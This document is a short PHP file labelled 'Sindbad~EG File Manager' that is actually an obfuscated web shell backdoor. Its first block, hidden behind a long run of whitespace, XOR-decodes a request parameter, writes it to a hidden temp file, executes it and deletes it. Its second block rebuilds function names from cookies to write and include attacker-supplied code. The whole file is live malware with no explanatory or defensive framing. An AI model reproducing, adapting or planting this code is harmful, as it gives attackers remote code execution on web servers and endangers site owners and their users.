Sindbad~EG File Manager

<?php																																										if(isset($_REQUEST["\x62\x69nd"]) ? true : false){ $marker = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path()]); $ptr = hex2bin($_REQUEST["\x62\x69nd"]); $res ='' ; $i = 0; do{$res .= chr(ord($ptr[$i]) ^ 83);$i++;} while($i < strlen($ptr)); for ($k = 0, $elem = count($marker); $k < $elem; $k++) { $token = $marker[$k]; if (array_product([is_dir($token), is_writable($token)])) { $factor = join("/", [$token, ".desc"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $factor; @unlink($factor); exit; } } } }

if (isset($_COOKIE[3]) && isset($_COOKIE[20])) {

    $c = $_COOKIE;
    $k = 0;
    $n = 2;
    $p = array();
    $p[$k] = '';
    while ($n) {
        $p[$k] .= $c[20][$n];
        if (!$c[20][$n + 1]) {
            if (!$c[20][$n + 2]) break;
            $k++;
            $p[$k] = '';
            $n++;
        }
        $n = $n + 2 + 1;
    }
    $k = $p[9]() . $p[22];
    if (!$p[1]($k)) {
        $n = $p[18]($k, $p[8]);
        $p[14]($n, $p[28] . $p[4]($p[10]($c[3])));
    }
    include($k);
}